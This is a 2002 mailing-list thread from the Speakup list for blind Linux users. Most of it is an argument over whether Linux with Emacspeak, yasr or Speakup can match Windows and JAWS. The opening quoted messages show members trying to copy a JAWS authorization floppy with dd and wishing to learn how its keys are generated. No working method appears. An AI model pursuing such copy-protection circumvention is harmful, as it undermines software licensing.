> > having said that however, I don't see the reason for paying $500 just for
> > some 1.44 mb diskett with hard errors on it just so I can screw up
> > windcrap 2000 or windcrap xp.
> > no wonder I went to linux.
> > it cost me bugger all.
> >
> >
> > On Fri, 17 May 2002, Igor Gueths wrote:
> >
> > > Hi Greg. Just put a robots.txt file on the server and this should thwart
> most bots. It would however be better to discuss this stuff off-list
> probably. Get everyone who wants to work on this, and everyone cc's each
> other's messages so everyone in the project gets that msg.
> > > ----- Original Message -----
> > > From: Gregory Nowak <greg@romualt.dhs.org>
> > > To: <speakup@braille.uwo.ca>
> > > Sent: Friday, May 17, 2002 2:41 PM
> > > Subject: Re: interesting experiment.
> > >
> > >
> > > > Hey guys,
> > > >
> > > > I've been following this thread about the disk copying and stuff. I
> was wondering if you were aware that the archive for this list is accessible
> to anyone on the whole web? This means that all you are writing about is out
> there for the picking unless Kirk decides to remove it from the archive
> before google or any other search engine gets a cache of that archive.
> > > > Greg
> > > >
> > > >
> > > > On Fri, May 17, 2002 at 02:32:06PM -0400, Igor Gueths wrote:
> > > > > Hi Shaun. It seems that some of the sectors are write protected. I'd
> > > > > really like to know how they control the disk writing process,
> because
> > > > > this would give us some good insite on how they generate keys.
> > > > >
> > > > > Gates go to hell, your OS is waiting for you there!
> > > > >
> > > > > On Fri, 17 May 2002, Shaun Oliver wrote:
> > > > >
> > > > > > hi.
> > > > > > I just tryed to use dd to see if in fact it would copy my jfw
> > > > > > authorization disk and, as expected, it wouldn't.
> > > > > > here's my output from dd to aid some poor unfortunate that still
> may want
> > > > > > to persue this activity.
> > > > > > captain-nemo@borg:~$ dd if=/dev/fd0 of=auth.img
> > > > > > end_request: I/O error, dev 02:00 (floppy), sector 2870
> > > > > > end_request: I/O error, dev 02:00 (floppy), sector 2874
> > > > > > end_request: I/O error, dev 02:00 (floppy), sector 2876
> > > > > > end_request: I/O error, dev 02:00 (floppy), sector 2878
> > > > > > end_request: I/O error, dev 02:00 (floppy), sector 2870
> > > > > > dd: /dev/fd0: Input/output error
> > > > > > 2864+0 records in
> > > > > > 2864+0 records out
> > > > > > captain-nemo@borg:~$
> > > > > > hth
> > > > > > Shaun.
> > > > > >
> > > > > >
> > > > > >
> > > > > > _______________________________________________
> > > > > > Speakup mailing list
> > > > > > Speakup@braille.uwo.ca
> > > > > > http://speech.braille.uwo.ca/mailman/listinfo/speakup
> > > > > >
> > > > >
> > > > >
> > > > > _______________________________________________
> > > > > Speakup mailing list
> > > > > Speakup@braille.uwo.ca
> > > > > http://speech.braille.uwo.ca/mailman/listinfo/speakup
> > > >
> > > > _______________________________________________
> > > > Speakup mailing list
> > > > Speakup@braille.uwo.ca
> > > > http://speech.braille.uwo.ca/mailman/listinfo/speakup
> > >
> > >
> > > _______________________________________________
> > > Speakup mailing list
> > > Speakup@braille.uwo.ca
> > > http://speech.braille.uwo.ca/mailman/listinfo/speakup
> > >
> >
> >
> > _______________________________________________
> > Speakup mailing list
> > Speakup@braille.uwo.ca
> > http://speech.braille.uwo.ca/mailman/listinfo/speakup
> >
> 
> 
> _______________________________________________
> Speakup mailing list
> Speakup@braille.uwo.ca
> http://speech.braille.uwo.ca/mailman/listinfo/speakup

Re: interesting experiment.

[Janina Sajka]

[-- Attachment #1: Type: TEXT/PLAIN, Size: 471 bytes --]

On Sat, 18 May 2002, Darrell Shandrow wrote:
> I just wish Linux were 
> a more viable general purpose workstation; I use Windows for that purpose.
> 
Hi, Darrell:

Just wondering what you think is missing from Linux' desktop
applications.

In case this sounds loaded, it might be. The underlying question
might be: Is it your knowledge deficit, or is it Linux itself?
For my own experience in this matter, I've found it's my
knowledge deficit almost without exception.


[-- Attachment #2: Type: TEXT/PLAIN, Size: 167 bytes --]


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Re: interesting experiment.

[Adam Myrow]

For me, I'd like to see a good financial package in Linux.  Maybe Gnu Cash
will be accessible when Gnome is?  So much depends on this.  I hope that
not just Gnome, but KDE, Blackbox, etc. become usable at some time.  One
of the things that sounds cool about X is getting to choose your desktop
like that.  In the mean time, has anybody encountered a financial package
under the console of any decency?

Re: interesting experiment.

[Alex Snow]

What I'd really like to see in linux is a screen reader supporting software
speach.  That would make my life, and many other people's lives, much
easier.  You wouldn't have to lug your synth around with you all the time.
----- Original Message -----
From: "Adam Myrow" <myrow@eskimo.com>
To: <speakup@braille.uwo.ca>
Sent: Saturday, May 18, 2002 3:29 PM
Subject: Re: interesting experiment.


> For me, I'd like to see a good financial package in Linux.  Maybe Gnu Cash
> will be accessible when Gnome is?  So much depends on this.  I hope that
> not just Gnome, but KDE, Blackbox, etc. become usable at some time.  One
> of the things that sounds cool about X is getting to choose your desktop
> like that.  In the mean time, has anybody encountered a financial package
> under the console of any decency?
>
>
>
>
> _______________________________________________
> Speakup mailing list
> Speakup@braille.uwo.ca
> http://speech.braille.uwo.ca/mailman/listinfo/speakup
>

Re: interesting experiment.

[Ann Parsons]

Hi all,

Darrell, I must agree with Janina here.  Would like to know what it is
you think Linux can't do. 

Now, please don't tell me MSWord or Excel or MSIE.  Tell me functions
of a desktop.  A desktop, as far as I understand the term contains a
word processor, a mail agent, possibly an audio reader/CD music
player, connectivity to the Internet, a web browser, and possibly a
news reader.  If these are the functions you're looking for in a
desktop, then Linux has all these.  

Don't confuse wanting Windows look-alikes with Linux desktop features,
please.  Don't confuse Windows Wannabe software with real word
processors and mark-up languages.  Don't confuse so-called need to
have identical file formats for the power and ease of writing in TXT
format all the time, or writing in a mark-up language which will do
even more than the Windows stuff.  

If you want a desktop that has all the "general" functions of a
desktop, then tell me any desktop that can match Emacspeak or
speakup.  These are real programs that are being used by people every
single day, hour after hour.  They seem to work just fine. 

Now, if you want Windows, then keep it!  If you have to use Windows
for your job, then do that.  But until or unless you have worked in a
Linux environment, on a Linux desktop, day after day, then please
don't even try saying that Linux doesn't have a viable desktop.
Besides, if you aren't interested in knowing about Linux and what it
can do, then, frankly, why are you here?  Why don't you do some
considerably less talking and more listening.

Ann P.

-- 
			Ann K. Parsons  
email:  akp@eznet.net 			ICQ Number:  33006854
WEB SITE:  http://home.eznet.net/~akp
"All that is gold does not glitter.  Not all those who wander are lost."  JRRT

Re: interesting experiment.

[Ann Parsons]

Hi all,

Why don't you try Emacspeak and quit yawping!  There *is* a speech
output system that uses software speech.

Ann P.

-- 
			Ann K. Parsons  
email:  akp@eznet.net 			ICQ Number:  33006854
WEB SITE:  http://home.eznet.net/~akp
"All that is gold does not glitter.  Not all those who wander are lost."  JRRT

Re: interesting experiment.

[Janina Sajka]

Well, I won't say emacspeak supports software speech, even though
it does, because Raman would shoot me for calling emacspeak a
screen reader.

But, yasr runs with flite. I use it when I can't use speakup.
It's not bad.

On Sat, 18 May 2002, Alex Snow wrote:

> What I'd really like to see in linux is a screen reader supporting software
> speach.  That would make my life, and many other people's lives, much
> easier.  You wouldn't have to lug your synth around with you all the time.
> ----- Original Message -----
> From: "Adam Myrow" <myrow@eskimo.com>
> To: <speakup@braille.uwo.ca>
> Sent: Saturday, May 18, 2002 3:29 PM
> Subject: Re: interesting experiment.
> 
> 
> > For me, I'd like to see a good financial package in Linux.  Maybe Gnu Cash
> > will be accessible when Gnome is?  So much depends on this.  I hope that
> > not just Gnome, but KDE, Blackbox, etc. become usable at some time.  One
> > of the things that sounds cool about X is getting to choose your desktop
> > like that.  In the mean time, has anybody encountered a financial package
> > under the console of any decency?
> >
> >
> >
> >
> > _______________________________________________
> > Speakup mailing list
> > Speakup@braille.uwo.ca
> > http://speech.braille.uwo.ca/mailman/listinfo/speakup
> >
> 
> 
> _______________________________________________
> Speakup mailing list
> Speakup@braille.uwo.ca
> http://speech.braille.uwo.ca/mailman/listinfo/speakup
> 

-- 
	
				Janina Sajka, Director
				Technology Research and Development
				Governmental Relations Group
				American Foundation for the Blind (AFB)

Email: janina@afb.net		Phone: (202) 408-8175

Chair, Accessibility SIG
Open Electronic Book Forum (OEBF)
http://www.openebook.org

Re: interesting experiment.

[Gregory Nowak]

There already is one, though it's not a screen reader per say. It's known as emacs speak.
Greg


On Sat, May 18, 2002 at 03:45:34PM -0400, Alex Snow wrote:
> What I'd really like to see in linux is a screen reader supporting software
> speach.  That would make my life, and many other people's lives, much
> easier.  You wouldn't have to lug your synth around with you all the time.
> ----- Original Message -----
> From: "Adam Myrow" <myrow@eskimo.com>
> To: <speakup@braille.uwo.ca>
> Sent: Saturday, May 18, 2002 3:29 PM
> Subject: Re: interesting experiment.
> 
> 
> > For me, I'd like to see a good financial package in Linux.  Maybe Gnu Cash
> > will be accessible when Gnome is?  So much depends on this.  I hope that
> > not just Gnome, but KDE, Blackbox, etc. become usable at some time.  One
> > of the things that sounds cool about X is getting to choose your desktop
> > like that.  In the mean time, has anybody encountered a financial package
> > under the console of any decency?
> >
> >
> >
> >
> > _______________________________________________
> > Speakup mailing list
> > Speakup@braille.uwo.ca
> > http://speech.braille.uwo.ca/mailman/listinfo/speakup
> >
> 
> 
> _______________________________________________
> Speakup mailing list
> Speakup@braille.uwo.ca
> http://speech.braille.uwo.ca/mailman/listinfo/speakup

Re: interesting experiment.

[Octavian Rasnita]

Are there any games accessible for the blind under Linux, like under
Windows?
Please tell me some web addresses.
Are there any good sound editing programs for Linux, like Sound Forge, Cool
Edit, Gold Wave, etc, and programs for creating MIDI music, like Cake Walk?

Is there a text editor, that has macro features, Regular expressions, the
ability to save in Windows/Mac/Unix format, etc?

... Just a few things that camed to mind.

A lot of things are accessible, but ... harder to learn, harder to configure
and harder to use, if I am not so bright to remember 1000 command line
parameters.

Thank you for the links.
Teddy,
orasnita@home.ro

----- Original Message -----
From: "Janina Sajka" <janina@afb.net>
To: <speakup@braille.uwo.ca>
Sent: Saturday, May 18, 2002 9:59 PM
Subject: Re: interesting experiment.


On Sat, 18 May 2002, Darrell Shandrow wrote:
> I just wish Linux were
> a more viable general purpose workstation; I use Windows for that purpose.
>
Hi, Darrell:

Just wondering what you think is missing from Linux' desktop
applications.

In case this sounds loaded, it might be. The underlying question
might be: Is it your knowledge deficit, or is it Linux itself?
For my own experience in this matter, I've found it's my
knowledge deficit almost without exception.




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Re: interesting experiment.

[Octavian Rasnita]

Do you know that there is a version of Emacs for Windows?
Same hard to use like under Linux.

If you want, I can make you a list with desktop function I can't find under
Linux.
Functions, not programs.
Teddy,
orasnita@home.ro

----- Original Message -----
From: "Ann Parsons" <akp@eznet.net>
To: <speakup@braille.uwo.ca>
Sent: Saturday, May 18, 2002 11:31 PM
Subject: Re: interesting experiment.


Hi all,

Darrell, I must agree with Janina here.  Would like to know what it is
you think Linux can't do.

Now, please don't tell me MSWord or Excel or MSIE.  Tell me functions
of a desktop.  A desktop, as far as I understand the term contains a
word processor, a mail agent, possibly an audio reader/CD music
player, connectivity to the Internet, a web browser, and possibly a
news reader.  If these are the functions you're looking for in a
desktop, then Linux has all these.

Don't confuse wanting Windows look-alikes with Linux desktop features,
please.  Don't confuse Windows Wannabe software with real word
processors and mark-up languages.  Don't confuse so-called need to
have identical file formats for the power and ease of writing in TXT
format all the time, or writing in a mark-up language which will do
even more than the Windows stuff.

If you want a desktop that has all the "general" functions of a
desktop, then tell me any desktop that can match Emacspeak or
speakup.  These are real programs that are being used by people every
single day, hour after hour.  They seem to work just fine.

Now, if you want Windows, then keep it!  If you have to use Windows
for your job, then do that.  But until or unless you have worked in a
Linux environment, on a Linux desktop, day after day, then please
don't even try saying that Linux doesn't have a viable desktop.
Besides, if you aren't interested in knowing about Linux and what it
can do, then, frankly, why are you here?  Why don't you do some
considerably less talking and more listening.

Ann P.

--
Ann K. Parsons
email:  akp@eznet.net ICQ Number:  33006854
WEB SITE:  http://home.eznet.net/~akp
"All that is gold does not glitter.  Not all those who wander are lost."
JRRT


_______________________________________________
Speakup mailing list
Speakup@braille.uwo.ca
http://speech.braille.uwo.ca/mailman/listinfo/speakup

Re: interesting experiment.

[Octavian Rasnita]

Yes yes yes.
All the people tell that Linux is free, but for working with a real screen
reader like Speakup, it needs a hardware sinthesizer that costs a lot.
And ... I have a Dec Talk PC1 internal hardware sinthesizer that is not
supported by Linux. Great OS!
It is cheaper to work under Windows, even though I need Linux.

Teddy,
orasnita@home.ro

----- Original Message -----
From: "Alex Snow" <alex_snow@gmx.net>
To: <speakup@braille.uwo.ca>
Sent: Saturday, May 18, 2002 10:45 PM
Subject: Re: interesting experiment.


What I'd really like to see in linux is a screen reader supporting software
speach.  That would make my life, and many other people's lives, much
easier.  You wouldn't have to lug your synth around with you all the time.
----- Original Message -----
From: "Adam Myrow" <myrow@eskimo.com>
To: <speakup@braille.uwo.ca>
Sent: Saturday, May 18, 2002 3:29 PM
Subject: Re: interesting experiment.


> For me, I'd like to see a good financial package in Linux.  Maybe Gnu Cash
> will be accessible when Gnome is?  So much depends on this.  I hope that
> not just Gnome, but KDE, Blackbox, etc. become usable at some time.  One
> of the things that sounds cool about X is getting to choose your desktop
> like that.  In the mean time, has anybody encountered a financial package
> under the console of any decency?
>
>
>
>
> _______________________________________________
> Speakup mailing list
> Speakup@braille.uwo.ca
> http://speech.braille.uwo.ca/mailman/listinfo/speakup
>


_______________________________________________
Speakup mailing list
Speakup@braille.uwo.ca
http://speech.braille.uwo.ca/mailman/listinfo/speakup

Re: interesting experiment.

[Octavian Rasnita]

Do you mean that using Emacspeak is easier than using Windows?
Nice joke. Really.
And ... without a hardware sinthesizer, with that IBM Via Voice that likes
to crash so often, or other software sinthesizers hard to understand, ...
Teddy,
orasnita@home.ro

----- Original Message -----
From: "Ann Parsons" <akp@eznet.net>
To: <speakup@braille.uwo.ca>
Sent: Saturday, May 18, 2002 11:53 PM
Subject: Re: interesting experiment.


Hi all,

Why don't you try Emacspeak and quit yawping!  There *is* a speech
output system that uses software speech.

Ann P.

--
Ann K. Parsons
email:  akp@eznet.net ICQ Number:  33006854
WEB SITE:  http://home.eznet.net/~akp
"All that is gold does not glitter.  Not all those who wander are lost."
JRRT


_______________________________________________
Speakup mailing list
Speakup@braille.uwo.ca
http://speech.braille.uwo.ca/mailman/listinfo/speakup

Re: interesting experiment.

[Octavian Rasnita]

Why "not bad?"
Wouldn't be better "The best" which is Jaws under Windows?

I would like something "the best" under Linux  that work with software
sinthesizers.

Regards.
Teddy,
orasnita@home.ro

----- Original Message -----
From: "Janina Sajka" <janina@afb.net>
To: <speakup@braille.uwo.ca>
Sent: Sunday, May 19, 2002 1:52 AM
Subject: Re: interesting experiment.


Well, I won't say emacspeak supports software speech, even though
it does, because Raman would shoot me for calling emacspeak a
screen reader.

But, yasr runs with flite. I use it when I can't use speakup.
It's not bad.

On Sat, 18 May 2002, Alex Snow wrote:

> What I'd really like to see in linux is a screen reader supporting
software
> speach.  That would make my life, and many other people's lives, much
> easier.  You wouldn't have to lug your synth around with you all the time.
> ----- Original Message -----
> From: "Adam Myrow" <myrow@eskimo.com>
> To: <speakup@braille.uwo.ca>
> Sent: Saturday, May 18, 2002 3:29 PM
> Subject: Re: interesting experiment.
>
>
> > For me, I'd like to see a good financial package in Linux.  Maybe Gnu
Cash
> > will be accessible when Gnome is?  So much depends on this.  I hope that
> > not just Gnome, but KDE, Blackbox, etc. become usable at some time.  One
> > of the things that sounds cool about X is getting to choose your desktop
> > like that.  In the mean time, has anybody encountered a financial
package
> > under the console of any decency?
> >
> >
> >
> >
> > _______________________________________________
> > Speakup mailing list
> > Speakup@braille.uwo.ca
> > http://speech.braille.uwo.ca/mailman/listinfo/speakup
> >
>
>
> _______________________________________________
> Speakup mailing list
> Speakup@braille.uwo.ca
> http://speech.braille.uwo.ca/mailman/listinfo/speakup
>

--

Janina Sajka, Director
Technology Research and Development
Governmental Relations Group
American Foundation for the Blind (AFB)

Email: janina@afb.net Phone: (202) 408-8175

Chair, Accessibility SIG
Open Electronic Book Forum (OEBF)
http://www.openebook.org


_______________________________________________
Speakup mailing list
Speakup@braille.uwo.ca
http://speech.braille.uwo.ca/mailman/listinfo/speakup

Re: interesting experiment.

[Cecil H. Whitley]

Hi Janina,
Will yasr run on top of a speakup modified kernel?  How difficult is the
install?  Any real bears I should stay away from?  To use speakup here at
home I have to borrow the dectalk express from work (which just ain't worth
it except on weekends).  I have d/l'ed yasr, viavoice outloud and associated
files (from redhat) but not emacspeak yet.  I'm waiting until I can convince
Marian (my wife) to drop the $'s on an sb live.  Currently this machine is
running an aureal vortex based sound card (no drivers that I could get to
work).
Regards,
Cecil

----- Original Message -----
From: "Janina Sajka" <janina@afb.net>
To: <speakup@braille.uwo.ca>
Sent: Saturday, May 18, 2002 6:52 PM
Subject: Re: interesting experiment.


> Well, I won't say emacspeak supports software speech, even though
> it does, because Raman would shoot me for calling emacspeak a
> screen reader.
>
> But, yasr runs with flite. I use it when I can't use speakup.
> It's not bad.
*snip*

Re: interesting experiment.

[Octavian Rasnita]

Are the Sound Blaster sound cards so expensive there?
I heard they are around 30 dollars only.
... if this is not too much.
Teddy,
orasnita@home.ro

----- Original Message -----
From: "Cecil H. Whitley" <cwhitley@ec.rr.com>
To: <speakup@braille.uwo.ca>
Sent: Sunday, May 19, 2002 4:12 AM
Subject: Re: interesting experiment.


Hi Janina,
Will yasr run on top of a speakup modified kernel?  How difficult is the
install?  Any real bears I should stay away from?  To use speakup here at
home I have to borrow the dectalk express from work (which just ain't worth
it except on weekends).  I have d/l'ed yasr, viavoice outloud and associated
files (from redhat) but not emacspeak yet.  I'm waiting until I can convince
Marian (my wife) to drop the $'s on an sb live.  Currently this machine is
running an aureal vortex based sound card (no drivers that I could get to
work).
Regards,
Cecil

----- Original Message -----
From: "Janina Sajka" <janina@afb.net>
To: <speakup@braille.uwo.ca>
Sent: Saturday, May 18, 2002 6:52 PM
Subject: Re: interesting experiment.


> Well, I won't say emacspeak supports software speech, even though
> it does, because Raman would shoot me for calling emacspeak a
> screen reader.
>
> But, yasr runs with flite. I use it when I can't use speakup.
> It's not bad.
*snip*


_______________________________________________
Speakup mailing list
Speakup@braille.uwo.ca
http://speech.braille.uwo.ca/mailman/listinfo/speakup

Re: interesting experiment.

[Janina Sajka]

Hi, Cecil:

It's easy enough to install flite and yasr. They're applications
that run in console mode, not patches to the kernel like Speakup
is. You can get everything you need at:

	http://eflite.sf.net

The speech isn't the greatest, at least not in this, its first
incarnation.

My strong advice to you, however, would be to find about $300
U.S. for an internal Doubletalk, if you have an ISA slot free, or
the external Litetalk if you don't. Unless you hate Doubletalk
speech, the internal makes Speakup fly. It's very snappy to run.

On Sat, 18 May 2002, Cecil H. Whitley wrote:

> Hi Janina,
> Will yasr run on top of a speakup modified kernel?  How difficult is the
> install?  Any real bears I should stay away from?  To use speakup here at
> home I have to borrow the dectalk express from work (which just ain't worth
> it except on weekends).  I have d/l'ed yasr, viavoice outloud and associated
> files (from redhat) but not emacspeak yet.  I'm waiting until I can convince
> Marian (my wife) to drop the $'s on an sb live.  Currently this machine is
> running an aureal vortex based sound card (no drivers that I could get to
> work).
> Regards,
> Cecil
> 
> ----- Original Message -----
> From: "Janina Sajka" <janina@afb.net>
> To: <speakup@braille.uwo.ca>
> Sent: Saturday, May 18, 2002 6:52 PM
> Subject: Re: interesting experiment.
> 
> 
> > Well, I won't say emacspeak supports software speech, even though
> > it does, because Raman would shoot me for calling emacspeak a
> > screen reader.
> >
> > But, yasr runs with flite. I use it when I can't use speakup.
> > It's not bad.
> *snip*
> 
> 
> _______________________________________________
> Speakup mailing list
> Speakup@braille.uwo.ca
> http://speech.braille.uwo.ca/mailman/listinfo/speakup
> 

-- 
	
				Janina Sajka, Director
				Technology Research and Development
				Governmental Relations Group
				American Foundation for the Blind (AFB)

Email: janina@afb.net		Phone: (202) 408-8175

Chair, Accessibility SIG
Open Electronic Book Forum (OEBF)
http://www.openebook.org

Re: interesting experiment.

[Ann Parsons]

Hi all,

>>>>> "Octavian" == Octavian Rasnita <orasnita@home.ro> writes:

    Octavian> Are there any games accessible for the blind under
    Octavian> Linux, like under Windows?

Yes and no.  If you expect whizzy sound and graphics, no.  But there
are lots of good games.  Do a search on Google.

    Octavian> Are there any good sound editing programs
    Octavian> for Linux, like Sound Forge, Cool Edit, Gold Wave, etc,


Yes, Many in fact.

    Octavian> and programs for creating MIDI music, like Cake Walk?

Dunnow about Cake Walk, but there is no OCR stuff that isn't really
complicated to run, either. 

    Octavian> Is there a text editor, that has macro features, Regular
    Octavian> expressions, the ability to save in Windows/Mac/Unix
    Octavian> format, etc?

Emacs has all that, and your friends and employers can import anything
written in Emacs into whatever Word Processor they're using because
Emacs is basic text.  If you're talking about LaTeX or stuff like
that, then no, you can't import it, but why would you, unless you
absolutely had to for a job.  If your employer wanted hard copy, you
could write rings around MSWord.  Can you program in MSWord?  Can you
write C programs in MSWord?  Can you not only write them but check
them and run them in MSWord?  You can't, but you sure as Hell can in
Emacs!  

    Octavian> A lot of things are accessible, but ... harder to learn,
    Octavian> harder to configure and harder to use, if I am not so
    Octavian> bright to remember 1000 command line parameters.

Well, if you like Windows, then use it, but don't bother us on the
Linux list, then.  Windowws is very difficult to learn for some
people, especially totally blind people who find it easier to use a
command line interface.  Neither OS is bad, Teddy, each has its
strengths and weaknesses.  If you are willing to learn, Linux is
really rewarding.  Windows can be too, I guess, but not in the same
way, not the way Linux makes you feel as if you've really accomplished
something when you get done typing all those hundreds of commands.
<smile>  If Windows works for you, then use it.  It's all in the tools
that fit your hands the best and do the job you ask them to do best.
Nothing is either right or wrong.

One last note.  I repeat, do not confuse wanting Windows look-alike
programs with needing a good word processor/markup language.  Consider
what you are really asking.  If you want Windows look-alike tools in
Linux for the blind, they aren't available yet.  On the other hand, if
you want word processor/markup languages, programming modes, good
sound editing, and web and so on.  Linux has all that.    However,
make sure you know what you're asking for here.  Same isn't
necessarily best, you know, guys.  

Ann P.

-- 
			Ann K. Parsons  
email:  akp@eznet.net 			ICQ Number:  33006854
WEB SITE:  http://home.eznet.net/~akp
"All that is gold does not glitter.  Not all those who wander are lost."  JRRT

Re: interesting experiment.

[Ann Parsons]

Hi all,

OK, ask questions about Emacs, then.  See what it can do.

Ann P.

-- 
			Ann K. Parsons  
email:  akp@eznet.net 			ICQ Number:  33006854
WEB SITE:  http://home.eznet.net/~akp
"All that is gold does not glitter.  Not all those who wander are lost."  JRRT

Re: interesting experiment.

[Ann Parsons]

Hi all,

DecTalk internal is supported by Emacspeak. 

Ann P.

-- 
			Ann K. Parsons  
email:  akp@eznet.net 			ICQ Number:  33006854
WEB SITE:  http://home.eznet.net/~akp
"All that is gold does not glitter.  Not all those who wander are lost."  JRRT

Re: interesting experiment.

[Ann Parsons]

Hi All,

Again, Emacspeak was configured and written for the DecTalk card.  Use
it. 

Ann P.

-- 
			Ann K. Parsons  
email:  akp@eznet.net 			ICQ Number:  33006854
WEB SITE:  http://home.eznet.net/~akp
"All that is gold does not glitter.  Not all those who wander are lost."  JRRT

Re: interesting experiment.

[Janina Sajka]

OK, let's take this one question at a time ...

On Sun, 19 May 2002, Octavian Rasnita wrote:

> Are there any games accessible for the blind under Linux, like under
> Windows?
> Please tell me some web addresses.

I was with you until you said "like Windows." I have no idea
about Windows. I know nothing about it.

But, if you want games, you can find them. Maybe they're better,
maybe not. But they're out there. Emacs comes with games, and
some are speech enabled by emacspeak. The only game I really know
much about is gnu chess which can be obtained from
http://www.gnu.org.

I'm generally too interested in things to play games on my
computer. Last thing I'm likely to do, so I'm out of knowledge
here.

> Are there any good sound editing programs for Linux, like Sound Forge, Cool
> Edit, Gold Wave, etc, and programs for creating MIDI music, like Cake Walk?


There's ecasound and sox. Very accessible. And there's
gramophone. I recently came across a java midi patch editor, but
I haven't had the time to get it working yet to find out about
its accessibility. Admitedly, these are less functional than the
Windows apps you mention for many tasks. Is this what you do? Or
are these academic questions?

> Is there a text editor, that has macro features, Regular expressions, the
> ability to save in Windows/Mac/Unix format, etc?

What is Mac format? I've never heard of that. And what is Windows
format?
And, why would you care?

Is there powerful text editing, formatting, scripting? Of course
there is. Far more powerful than in Windows or Mac. There are
probably too many to mention, actually. Linux/Unix has the
proprietary world beat hands down on this one.

Those format questions are themselves silly. You don't need them.
You certainly don't need them to communicate with anyone, or to
print out lovely reports, or design lovely e-content for on line
publishing, etc.

In fact, you do better to forget them and use the superior tools
available on Linux.

> 
> ... Just a few things that camed to mind.
> 
> A lot of things are accessible, but ... harder to learn, harder to configure
> and harder to use, if I am not so bright to remember 1000 command line
> parameters.

Give me a break. Grow up. How do you remember 1,000 dialog boxes.
How do you remember where to tell windows to show extensions to
files, for example. Or how about finding your ethernet card's mac
address. Do you remember that? I could go on. This is another
bogus argument.

But, if you think the gui is actually superior, you're going to
lose this excuse soon enough. GNOME is coming. What sad song are
you going to sing then?

> 
> Thank you for the links.
> Teddy,
> orasnita@home.ro
> 
> ----- Original Message -----
> From: "Janina Sajka" <janina@afb.net>
> To: <speakup@braille.uwo.ca>
> Sent: Saturday, May 18, 2002 9:59 PM
> Subject: Re: interesting experiment.
> 
> 
> On Sat, 18 May 2002, Darrell Shandrow wrote:
> > I just wish Linux were
> > a more viable general purpose workstation; I use Windows for that purpose.
> >
> Hi, Darrell:
> 
> Just wondering what you think is missing from Linux' desktop
> applications.
> 
> In case this sounds loaded, it might be. The underlying question
> might be: Is it your knowledge deficit, or is it Linux itself?
> For my own experience in this matter, I've found it's my
> knowledge deficit almost without exception.
> 
> 
> 
> 
> ----------------------------------------------------------------------------
> ----
> 
> 
> 
> ---
> Outgoing mail is certified Virus Free.
> Checked by AVG anti-virus system (http://www.grisoft.com).
> Version: 6.0.361 / Virus Database: 199 - Release Date: 5/7/2002
> 
> 
> 
> _______________________________________________
> Speakup mailing list
> Speakup@braille.uwo.ca
> http://speech.braille.uwo.ca/mailman/listinfo/speakup
> 

-- 
	
				Janina Sajka, Director
				Technology Research and Development
				Governmental Relations Group
				American Foundation for the Blind (AFB)

Email: janina@afb.net		Phone: (202) 408-8175

Chair, Accessibility SIG
Open Electronic Book Forum (OEBF)
http://www.openebook.org

Re: interesting experiment.

[Janina Sajka]

Pay attention. I just told you something that works with software
speech under Linux. Go check it out.

http://eflite.sf.net

On Sun, 19 May 2002, Octavian Rasnita wrote:

> Why "not bad?"
> Wouldn't be better "The best" which is Jaws under Windows?
> 
> I would like something "the best" under Linux  that work with software
> sinthesizers.
> 
> Regards.
> Teddy,
> orasnita@home.ro
> 
> ----- Original Message -----
> From: "Janina Sajka" <janina@afb.net>
> To: <speakup@braille.uwo.ca>
> Sent: Sunday, May 19, 2002 1:52 AM
> Subject: Re: interesting experiment.
> 
> 
> Well, I won't say emacspeak supports software speech, even though
> it does, because Raman would shoot me for calling emacspeak a
> screen reader.
> 
> But, yasr runs with flite. I use it when I can't use speakup.
> It's not bad.
> 
> On Sat, 18 May 2002, Alex Snow wrote:
> 
> > What I'd really like to see in linux is a screen reader supporting
> software
> > speach.  That would make my life, and many other people's lives, much
> > easier.  You wouldn't have to lug your synth around with you all the time.
> > ----- Original Message -----
> > From: "Adam Myrow" <myrow@eskimo.com>
> > To: <speakup@braille.uwo.ca>
> > Sent: Saturday, May 18, 2002 3:29 PM
> > Subject: Re: interesting experiment.
> >
> >
> > > For me, I'd like to see a good financial package in Linux.  Maybe Gnu
> Cash
> > > will be accessible when Gnome is?  So much depends on this.  I hope that
> > > not just Gnome, but KDE, Blackbox, etc. become usable at some time.  One
> > > of the things that sounds cool about X is getting to choose your desktop
> > > like that.  In the mean time, has anybody encountered a financial
> package
> > > under the console of any decency?
> > >
> > >
> > >
> > >
> > > _______________________________________________
> > > Speakup mailing list
> > > Speakup@braille.uwo.ca
> > > http://speech.braille.uwo.ca/mailman/listinfo/speakup
> > >
> >
> >
> > _______________________________________________
> > Speakup mailing list
> > Speakup@braille.uwo.ca
> > http://speech.braille.uwo.ca/mailman/listinfo/speakup
> >
> 
> --
> 
> Janina Sajka, Director
> Technology Research and Development
> Governmental Relations Group
> American Foundation for the Blind (AFB)
> 
> Email: janina@afb.net Phone: (202) 408-8175
> 
> Chair, Accessibility SIG
> Open Electronic Book Forum (OEBF)
> http://www.openebook.org
> 
> 
> _______________________________________________
> Speakup mailing list
> Speakup@braille.uwo.ca
> http://speech.braille.uwo.ca/mailman/listinfo/speakup
> 
> 
> 
> _______________________________________________
> Speakup mailing list
> Speakup@braille.uwo.ca
> http://speech.braille.uwo.ca/mailman/listinfo/speakup
> 

-- 
	
				Janina Sajka, Director
				Technology Research and Development
				Governmental Relations Group
				American Foundation for the Blind (AFB)

Email: janina@afb.net		Phone: (202) 408-8175

Chair, Accessibility SIG
Open Electronic Book Forum (OEBF)
http://www.openebook.org

Re: interesting experiment.

[Janina Sajka]

No joke. Emacs is easier than Windows.

Now, Octavian, stop belly aching and go learn how to do
something.

On Sun, 19 May 2002, Octavian Rasnita wrote:

> Do you mean that using Emacspeak is easier than using Windows?
> Nice joke. Really.
> And ... without a hardware sinthesizer, with that IBM Via Voice that likes
> to crash so often, or other software sinthesizers hard to understand, ...
> Teddy,
> orasnita@home.ro
> 
> ----- Original Message -----
> From: "Ann Parsons" <akp@eznet.net>
> To: <speakup@braille.uwo.ca>
> Sent: Saturday, May 18, 2002 11:53 PM
> Subject: Re: interesting experiment.
> 
> 
> Hi all,
> 
> Why don't you try Emacspeak and quit yawping!  There *is* a speech
> output system that uses software speech.
> 
> Ann P.
> 
> --
> Ann K. Parsons
> email:  akp@eznet.net ICQ Number:  33006854
> WEB SITE:  http://home.eznet.net/~akp
> "All that is gold does not glitter.  Not all those who wander are lost."
> JRRT
> 
> 
> _______________________________________________
> Speakup mailing list
> Speakup@braille.uwo.ca
> http://speech.braille.uwo.ca/mailman/listinfo/speakup
> 
> 
> 
> _______________________________________________
> Speakup mailing list
> Speakup@braille.uwo.ca
> http://speech.braille.uwo.ca/mailman/listinfo/speakup
> 

-- 
	
				Janina Sajka, Director
				Technology Research and Development
				Governmental Relations Group
